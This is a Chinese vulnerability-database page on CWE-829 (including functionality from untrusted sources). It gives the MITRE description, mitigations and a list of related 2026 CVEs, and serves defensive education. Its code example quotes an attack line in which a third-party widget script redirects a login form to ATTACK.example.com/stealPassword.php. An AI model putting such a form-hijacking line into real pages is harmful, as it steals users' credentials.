目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

目标: 1000 元 · 已筹: 1325 元

100%
请我们喝杯咖啡

CWE-829 从非可信控制范围包含功能例程 类漏洞列表 128

CWE-829 从非可信控制范围包含功能例程 类弱点 128 条 CVE 漏洞汇总，含 AI 中文分析。

CWE-829 属于不信任源引入漏洞，指软件从非预期控制域导入可执行功能或库。攻击者常通过篡改第三方依赖或供应链，注入恶意代码以执行任意操作，从而破坏系统完整性。开发者应严格验证所有外部组件的来源与完整性，仅集成受信任且经过安全审计的库，并实施最小权限原则，确保仅加载符合预期的功能模块，以阻断不可信代码的执行路径。

MITRE CWE 官方描述
CWE：CWE-829 从不受信任的控制域（Untrusted Control Sphere）中引入功能 英文：产品从预期控制域（Intended Control Sphere）之外的源导入、需要或包含可执行功能（如库）。
常见影响 (1)
Confidentiality, Integrity, AvailabilityExecute Unauthorized Code or Commands
An attacker could insert malicious functionality into the program by causing the program to download code that the attacker has placed into the untrusted control sphere, such as a malicious web site. This could enable the injection of malware, information exposure by granting excessive privileges or…
缓解措施 (5)
Architecture and DesignUse a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Architecture and DesignWhen the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.
Architecture and DesignFor any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Architecture and Design, OperationRun the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For ex…
Effectiveness: Limited
Architecture and Design, OperationRun your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database ad…
代码示例 (1)
This login webpage includes a weather widget from an external website:
<div class="header"> Welcome! <div id="loginBox">Please Login: <form id ="loginForm" name="loginForm" action="login.php" method="post"> Username: <input type="text" name="username" /> <br/> Password: <input type="password" name="password" /> <input type="submit" value="Login" /> </form> </div> <div id="WeatherWidget"> <script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script> </div> </div>
Bad · HTML
...Weather widget code.... document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";
Attack · JavaScript
CVE ID标题CVSS风险等级Published
CVE-2026-44691 Eclipse Theia<1.69.0 任意命令执行漏洞 — Eclipse Theia--2026-06-18
CVE-2026-46580 Eclipse Theia<1.71.0间接提示注入漏洞 — Eclipse Theia--2026-06-18
CVE-2026-22283 Dell PowerFlex Manager 软件供应链问题漏洞 — PowerFlex 7.5 High2026-06-17
CVE-2026-42089 yeoman-environment 任意包安装漏洞 — environment 8.6 High2026-06-16
CVE-2026-48124 Cursor 软件供应链问题漏洞 — cursor--2026-06-15
CVE-2026-12057 Foxit AI 软件供应链问题漏洞 — Foxit AI 8.6 High2026-06-15
CVE-2026-53810 OpenClaw 安全漏洞 — OpenClaw 8.8 High2026-06-11
CVE-2026-47174 Duck Site 安全漏洞 — duck-site--2026-06-11
CVE-2026-47172 Quest Bot 安全漏洞 — quest-bot--2026-06-11
CVE-2026-47292 Microsoft Visual Studio Code 代码注入漏洞 — Visual Studio Code - MSSQL Extension 7.8 High2026-06-09
CVE-2022-49036 Synology Active Backup for Business Recovery Media Creator 安全漏洞 — Synology Active Backup for Business Recovery Media Creator 7.8 High2026-06-03
CVE-2022-49042 Synology Hyper Backup Explorer 安全漏洞 — Synology Hyper Backup Explorer 7.8 High2026-06-03
CVE-2026-5241 Hugging Face Transformers 安全漏洞 — huggingface/transformers--2026-06-03
CVE-2026-5843 Docker Model Runner 安全漏洞 — Docker Desktop 8.2 High2026-05-22
CVE-2026-5817 Docker Model Runner 安全漏洞 — Docker Desktop 8.2 High2026-05-22
CVE-2026-7373 Rapid7 Metasploit Pro 访问控制错误漏洞 — Metasploit Pro--2026-05-15
CVE-2026-44312 Ruby CSS Parser 信任管理问题漏洞 — css_parser 5.8 Medium2026-05-14
CVE-2026-44995 OpenClaw 安全漏洞 — OpenClaw 7.3 High2026-05-11
CVE-2026-45184 Kdenlive 安全漏洞 — Kdenlive 6.5 Medium2026-05-09
CVE-2026-43571 OpenClaw 安全漏洞 — OpenClaw 8.8 High2026-05-05
CVE-2026-43569 OpenClaw 安全漏洞 — OpenClaw 8.8 High2026-05-05
CVE-2026-43003 OpenStack ironic-python-agent 安全漏洞 — ironic-python-agent 8.0 High2026-05-01
CVE-2026-41396 OpenClaw 安全漏洞 — OpenClaw 7.8 High2026-04-28
CVE-2026-42510 OpenStack Ironic 安全漏洞 — Ironic 6.6 Medium2026-04-28
CVE-2026-41355 OpenClaw 安全漏洞 — OpenClaw 7.3 High2026-04-23
CVE-2026-41336 OpenClaw 安全漏洞 — OpenClaw 7.8 High2026-04-23
CVE-2026-6859 Red Hat Enterprise Linux AI 安全漏洞 — Red Hat Enterprise Linux AI (RHEL AI) 3 8.8 High2026-04-22
CVE-2026-40903 goshs 安全漏洞 — goshs 9.1 Critical2026-04-21
CVE-2026-41295 OpenClaw 安全漏洞 — OpenClaw 7.8 High2026-04-20
CVE-2026-41253 iTerm2 安全漏洞 — iTerm2 6.9 Medium2026-04-18

CWE-829（从非可信控制范围包含功能例程） 是常见的弱点类别，本平台收录该类弱点关联的 128 条 CVE 漏洞。